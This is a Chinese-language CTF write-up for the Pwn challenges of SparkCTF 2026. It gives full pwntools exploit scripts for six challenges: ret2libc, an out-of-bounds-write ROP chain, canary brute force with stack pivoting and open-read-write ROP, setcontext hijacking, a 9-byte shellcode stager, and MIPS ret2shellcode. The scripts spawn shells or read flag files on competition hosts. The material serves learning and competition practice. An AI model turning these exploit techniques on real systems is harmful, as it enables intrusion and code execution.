SparkCTF 2026 WP——Pwn部分

1、as a pwner#

Note

作为一个 pwner ，你一定知道 libc 是做什么的。

一道 ret2libc 的签到题

exp如下：

1
from pwn import *
2
context.log_level = 'debug'
3
context.arch = 'amd64'
4
# p = process('./pwn')
5
p = remote('yaemiko.node.bxs.team', 50257)
6
elf = ELF('./pwn')
7
libc = ELF('./libc.so.6')
8

9
system = libc.symbols['system']
10
binsh = next(libc.search(b'/bin/sh'))
11
ret = 0x40101a
12
pop_rdi = 0x40123d
13
puts_plt = elf.plt['puts']
14
puts_got = elf.got['puts']
15
main = 0x401206
16

17
p.recvuntil(b'libc:')
18
payload1 = b'A' * 0x108 + p64(ret) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
19
p.sendline(payload1)
20
p.recvuntil(b'Thank you\n')
21

22
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
23
log.info(f'leak: {hex(leak)}')
24
libc_base = leak - libc.symbols['puts']
25
log.info(f'libc_base: {hex(libc_base)}')
26
system = libc_base + system
27
binsh = libc_base + binsh
28
log.info(f'system: {hex(system)}')
29
log.info(f'binsh: {hex(binsh)}')
30

31
p.recvuntil(b'libc:')
32
payload2 = b'A' * 0x108 + p64(pop_rdi) + p64(binsh) + p64(system)
33
p.sendline(payload2)
34

35
p.interactive()

2、hacker#

Note

看起来很安全呢

hacker 函数

有一个OOB漏洞，没有检查下界，于是可以直接任意地址写

arr 起始是 [rbp-0x60]，每个元素 8 字节

slot 0 -> [rbp-0x60]（arr[0]）
…
slot 9 -> [rbp-0x18]（arr[9]）
slot 10 -> [rbp-0x10]
slot 11 -> [rbp-0x8]（canary）
slot 12 -> [rbp+0x0]（saved rbp）
slot 13 -> [rbp+0x8]（saved RIP）
slot 14+ -> 后续 ROP 链

我们直接从 slot=13 开始写，避免破坏 canary

因为只有一次 hacker()，但有 10 次写入，足够构造 ROP

后续可以打ret2libc，也可以直接ret2text

exp如下：

1
from pwn import *
2

3
context.log_level = "debug"
4
context.arch = "amd64"
5

6
# p = process("./pwn")
7
p = remote("yaemiko.node.bxs.team", 50403)
8
elf = ELF("./pwn")
9
libc = ELF("./libc.so.6")
10

11
ret = 0x400631
12
pop_rdi = 0x400A33
13
puts_plt = elf.plt["puts"]
14
puts_got = elf.got["puts"]
15
main = elf.symbols["main"]
16

17
idx = lambda slot: slot - (1 << 63)
18

19
p.sendlineafter(b"Enter administrator's name:", b"admin")
20
writes1 = [
21
    (idx(13), ret),
22
    (idx(14), pop_rdi),
23
    (idx(15), puts_got),
24
    (idx(16), puts_plt),
25
    (idx(17), ret),
26
    (idx(18), main),
27
]
28
writes1 += [(0, 0)] * (10 - len(writes1))
29
for i, v in writes1:
30
    p.sendlineafter(b"Enter hacker index:", str(i).encode())
31
    p.sendlineafter(b"Enter hacker age:", str(v).encode())
32

33
p.recvuntil(b"Now let's see your creation:'\n")
34
p.recvuntil(b"0 0 0 0 0 0 0 0 0 0 ")
35
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
36
log.info(f"leak: {hex(leak)}")
37

38
libc_base = leak - libc.symbols["puts"]
39
log.info(f"libc_base: {hex(libc_base)}")
40
system = libc_base + libc.symbols["system"]
41
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
42
exit_ = libc_base + libc.symbols["exit"]
43
log.info(f"system: {hex(system)}")
44
log.info(f"binsh: {hex(binsh)}")
45

46
p.sendlineafter(b"Enter administrator's name:", b"admin2")
47
writes2 = [
48
    (idx(13), ret),
49
    (idx(14), pop_rdi),
50
    (idx(15), binsh),
51
    (idx(16), system),
52
    (idx(17), exit_),
53
]
54
writes2 += [(0, 0)] * (10 - len(writes2))
55
for i, v in writes2:
56
    p.sendlineafter(b"Enter hacker index:", str(i).encode())
57
    p.sendlineafter(b"Enter hacker age:", str(v).encode())
58

59
p.interactive()

3、stack#

Note

永劫轮回

main函数：

泄露了 hint 的真实地址，于是可以得到PIE基址

leak - hint_offset = PIE_base

检查通过，进入 reincarnation

检查一下沙箱

系统调用被禁用，看来基本上是一道ORW读flag

看看 reincarnation

有一个fork，可以用来爆破Canary

overflow 函数：

1
char buf[0x20];
2
read(0, buf, 0x50);

栈布局（从 buf 起算）：

到 canary 偏移：0x18
canary：8 字节
saved rbp：8 字节
return address：8 字节

read 读 0x50，足够覆盖返回地址，但存在 canary 检查

单次溢出只能 0x50，不够塞完整 ORW ROP，所以可以先构造短链，把执行流跳到 small_overflow+0x20，复用函数内部 read，并提前把 rdx 改成 0x400

后续再进行一次栈迁移就可以布置 ORW ROP 了

exp：

1
#!/usr/bin/env python3
2
from pwn import *
3
import re
4

5
context.log_level = "debug"
6
context.arch = "amd64"
7

8
p = remote("minori.node.bxs.team", 51774)
9

10
elf = ELF("./pwn")
11
libc = ELF("./libc.so.6")
12
context.binary = elf
13

14
OFFSET = 0x18
15
HINT = 0x14F1
16
READ_STAGE = 0x1547
17
POP_RAX = 0x1517
18
POP_RDI = 0x1519
19
POP_RSI_R15 = 0x151B
20
POP_RDX = 0x151F
21
SYSCALL = 0x1521
22
FAKE_RBP = 0x7000
23

24
data = p.recvuntil(b"prefix): ")
25
leak = int(re.search(rb"0x[0-9a-fA-F]+", data).group(), 16)
26
pie_base = leak - HINT
27
log.info(f"leak: {hex(leak)}")
28
log.info(f"pie_base: {hex(pie_base)}")
29
p.sendline(hex(pie_base)[2:].encode())
30

31
p.recvuntil(b"Hello Hacker!\n")
32

33
canary = b"\x00"
34
for i in range(1, 8):
35
    for guess in range(0x100):
36
        payload = b"A" * OFFSET + canary + p8(guess)
37
        p.send(payload)
38
        out = p.recvuntil(b"Hello Hacker!\n", timeout=1)
39
        if b"stack smashing detected" not in out:
40
            canary += p8(guess)
41
            log.success(f"canary[{i}] = {guess:02x}")
42
            break
43
    else:
44
        raise ValueError(f"canary brute force failed at byte {i}")
45
log.success(f"canary: {canary.hex()}")
46

47
fake_rbp = pie_base + FAKE_RBP
48
path_addr = fake_rbp + 0x300
49
buf_addr = fake_rbp + 0x340
50

51
pop_rax = pie_base + POP_RAX
52
pop_rdi = pie_base + POP_RDI
53
pop_rsi_r15 = pie_base + POP_RSI_R15
54
pop_rdx = pie_base + POP_RDX
55
syscall = pie_base + SYSCALL
56
read_stage = pie_base + READ_STAGE
57

58
payload1 = flat(
59
    b"A" * OFFSET,
60
    canary,
61
    p64(fake_rbp),
62
    p64(pop_rdx),
63
    p64(0x400),
64
    p64(read_stage),
65
).ljust(0x50, b"\x00")
66

67
rop = flat(
68
    p64(pop_rax),
69
    p64(3),
70
    p64(pop_rdi),
71
    p64(0),
72
    p64(syscall),
73
    p64(pop_rax),
74
    p64(2),
75
    p64(pop_rdi),
76
    p64(path_addr),
77
    p64(pop_rsi_r15),
78
    p64(0),
79
    p64(0),
80
    p64(pop_rdx),
81
    p64(0),
82
    p64(syscall),
83
    p64(pop_rax),
84
    p64(0),
85
    p64(pop_rdi),
86
    p64(0),
87
    p64(pop_rsi_r15),
88
    p64(buf_addr),
89
    p64(0),
90
    p64(pop_rdx),
91
    p64(0x80),
92
    p64(syscall),
93
    p64(pop_rax),
94
    p64(1),
95
    p64(pop_rdi),
96
    p64(1),
97
    p64(pop_rsi_r15),
98
    p64(buf_addr),
99
    p64(0),
100
    p64(pop_rdx),
101
    p64(0x80),
102
    p64(syscall),
103
    p64(pop_rax),
104
    p64(60),
105
    p64(pop_rdi),
106
    p64(0),
107
    p64(syscall),
108
)
109

110
payload2 = flat(
111
    b"B" * OFFSET,
112
    canary,
113
    p64(fake_rbp),
114
    rop,
115
)
116
payload2 = payload2.ljust(0x320, b"\x00") + b"./flag\x00"
117
payload2 = payload2.ljust(0x400, b"\x00")
118

119
p.send(payload1 + payload2)
120
p.interactive()

4、ctx#

Note

context？

win函数：

main函数：

程序核心调用了 getcontext/setcontext，这是本题利用入口，应该是 setcontext 上下文劫持 题型

先把合法上下文写入 buf+0x40

再把用户输入写到 buf（从 buf+0x0 开始）

因为读入 0x100 字节，所以会覆盖 buf+0x40 处 ucontext 的前 0xc0 字节

setcontext 使用被我们篡改的寄存器状态，达到控制 RIP/RSP 的效果

第一次做这种类型的题，顺便写点笔记

Tip

Linux/glibc 里的 setcontext() 是用户态上下文切换函数，和 getcontext()/makecontext()/swapcontext() 一套。ucontext_t 里至少包含：

uc_sigmask（信号掩码）
uc_stack（栈）
uc_mcontext（机器寄存器上下文）

setcontext() 成功后不会返回，它会恢复你给它的上下文继续执行

在 glibc x86_64 的 setcontext.S 里，可以看到它会从你提供的上下文里至少恢复这些关键值：

rsp
rbx/rbp/r12-r15（被调用者保存寄存器）
rdi/rsi/rdx/rcx/r8/r9（参数寄存器）
rip

源码里能看到明确的恢复序列，例如先取 oRSP 到 %rsp，再恢复若干寄存器，最后把 oRIP 压栈并 ret（或某些路径直接 jmp *%r10）

因此，只要我们能控制一次对 setcontext() 的调用，就相当于获得了 批量写寄存器 + 栈迁移 + 控制 RIP 的能力

我们还需要推导 ucontext 偏移

在 x86_64 glibc 下，有：

ucontext_t.uc_mcontext 偏移是 0x28
gregs[REG_RSP] 的 index 是 15
gregs[REG_RIP] 的 index 是 16

题目里 ucontext 起始地址是 buf+0x40，因此输入数据中的关键偏移为：

RSP 写入偏移 0x40 + 0x28 + 15*8 = 0xe0
RIP 写入偏移 0x40 + 0x28 + 16*8 = 0xe8

所以 payload 里只要改这两处即可：

RIP = win (0x401370)
RSP = 可写地址

这道题有win，可以直接读flag，因此不需要复杂的利用链

exp：

1
from pwn import *
2

3
context.log_level = "debug"
4
context.arch = "amd64"
5

6
# p = process("./ctx")
7
p = remote("minori.node.bxs.team", 52121)
8
elf = ELF("./ctx")
9
libc = ELF("./lib/libc.so.6")
10

11
win = elf.symbols["win"]
12

13
uc_off = 0x40
14
mcontext_off = 0x28
15
gregs_off = uc_off + mcontext_off
16

17
reg_rsp = 15
18
reg_rip = 16
19
fake_rsp = 0x404808
20

21
payload = bytearray(0xF0)
22
payload[gregs_off + reg_rsp * 8 : gregs_off + reg_rsp * 8 + 8] = p64(fake_rsp)
23
payload[gregs_off + reg_rip * 8 : gregs_off + reg_rip * 8 + 8] = p64(win)
24

25
try:
26
    p.recvuntil(b"Give me your name:", timeout=2)
27
except EOFError:
28
    log.warning("no banner, send payload directly")
29
p.send(bytes(payload))
30

31
try:
32
    p.recvuntil(b"Here is your flag: ", timeout=5)
33
    flag = p.recvline().strip()
34
    log.success(f"flag: {flag.decode(errors='ignore')}")
35
except EOFError:
36
    log.failure("connection closed before flag")
37

38
p.interactive()

5、nine#

安全机制

沙箱

除了orw和exit，其他系统调用都被禁止了

看一下main函数

函数先 mmap 了一页 RWX 内存，用 read(0, mmap_addr, 9) 读取 9 字节 shellcode，然后布置沙箱，最后返回shellcode

注意到main的汇编里有这么一段

在跳转到shellcode之前，几乎所有通用寄存器被清零

因此初始状态可利用：

rax=0
rdi=0
rdx=0

只需设置：

rsi = shellcode地址
rdx = 0xff

即可执行 read(0, rsi, 0xff) 继续拉取二阶段

程序先 push mmap_addr，再 ret 到 mmap_addr。ret 会弹栈，但 [rsp-8] 位置仍保留刚才的 mmap_addr 值，所以可直接取出 shellcode 基址

stager 在 mmap_addr 执行 syscall(read) 后，RIP 会继续到 mmap_addr+9。

但我们第二次发送的数据默认从 mmap_addr 开始覆盖写入，所以如果不处理，会从二阶段第 0 字节开始写，而 CPU 会从 +9 处执行，导致错位。

解决：二阶段发送时前置 9 字节 NOP，让 mmap_addr+9 正好落在真正 ORW 代码开头

1
mov rsi, [rsp-8]
2
mov dl, 0xff
3
syscall

刚好9字节

exp如下：

1
from pwn import *
2

3
context.log_level = "debug"
4
context.arch = "amd64"
5
context.os = "linux"
6

7
# p = process("./pwn")
8
p = remote("minori.node.bxs.team", 50557)
9
elf = ELF("./pwn")
10

11
payload1 = asm(
12
    """
13
    mov rsi, [rsp-8]
14
    mov dl, 0xff
15
    syscall
16
    """
17
)
18
assert len(payload1) == 9
19

20
orw = asm(
21
    """
22
    lea rdi, [rip+path1]
23
    xor esi, esi
24
    xor edx, edx
25
    mov eax, 2
26
    syscall
27
    test eax, eax
28
    jns got_fd
29

30
    lea rdi, [rip+path2]
31
    xor esi, esi
32
    xor edx, edx
33
    mov eax, 2
34
    syscall
35

36
got_fd:
37
    mov edi, eax
38
    mov rsi, rsp
39
    mov edx, 0x100
40
    xor eax, eax
41
    syscall
42

43
    mov edx, eax
44
    mov edi, 1
45
    mov eax, 1
46
    syscall
47

48
    xor edi, edi
49
    mov eax, 60
50
    syscall
51

52
path1:
53
    .asciz "flag"
54
path2:
55
    .asciz "/flag"
56
    """
57
)
58
payload2 = b"\x90" * 9 + orw
59

60
p.recvuntil(b"Give me your shellcode (max 9 bytes): ")
61
p.send(payload1)
62
p.send(payload2)
63
p.interactive()

另一种思路

群里有师傅说其实可以只用八字节，即

1
mov esi, [rsp-8]
2
mov dl, 0xff
3
syscall

这个没测试过，理论上讲应该可行，但9字节会更稳定一点

6、什么？Mips？#

Note

这来自2025年浙江省大学生网络与信息安全竞赛决赛，qemu等环境配置可参考下面这位师傅的文章➡️异架构pwn学习入门

简单写一下环境配置

安装qemu

1
sudo apt install qemu-user

安装gdb-multiarch

1
sudo apt install gdb-multiarch

安装交叉编译工具链

Warning

kali的镜像源里面没有这个东西，不安装不影响做题，Ubuntu可以正常安装

1
sudo apt install gcc-mips-linux-gnu

如果要调试

在终端运行：

1
qemu-mips -g 1234 ./mips

在另一个终端运行：

1
gdb-multiarch ./mips
2
pwndbg> target remote :1234

安全机制

主要函数是vuln

读取输入后，会把 v1的地址打印出来

我们需要找到 $ra寄存器的地址和偏移

可以发现偏移是44

我们可以把shellcode布置在偏移48的位置，本质上是一道常规的ret2shellcode

exp：

1
from pwn import *
2

3
context.arch = 'mips'
4
context.endian = 'big'
5
context.os = 'linux'
6
context.log_level = 'debug'
7
# p = process(['qemu-mips', '-g', '1234', './mips'])
8
# p = process(['qemu-mips', './mips'])
9
p = remote("yaemiko.node.bxs.team", 51988)
10

11
p.recvuntil(b"input number of magic")
12
p.sendline(b"255")
13

14
p.recvuntil(b"gift: ")
15
v1_addr = int(p.recvline().strip(), 16)
16
log.success(f"v1 Address: {hex(v1_addr)}")
17

18
shellcode_addr = v1_addr + 48
19
log.info(f"Target Jump Address: {hex(shellcode_addr)}")
20

21
shellcode = asm(shellcraft.mips.linux.sh())
22
padding_len = 44
23
padding = b'A' * padding_len
24
payload = flat([
25
    padding,
26
    shellcode_addr,
27
    shellcode
28
])
29
sleep(0.1)
30
p.send(payload)
31

32
p.interactive()

音乐

音乐

1、as a pwner#

2、hacker#

3、stack#

4、ctx#

5、nine#

6、什么？Mips？#

支持与分享

评论区

音乐

目录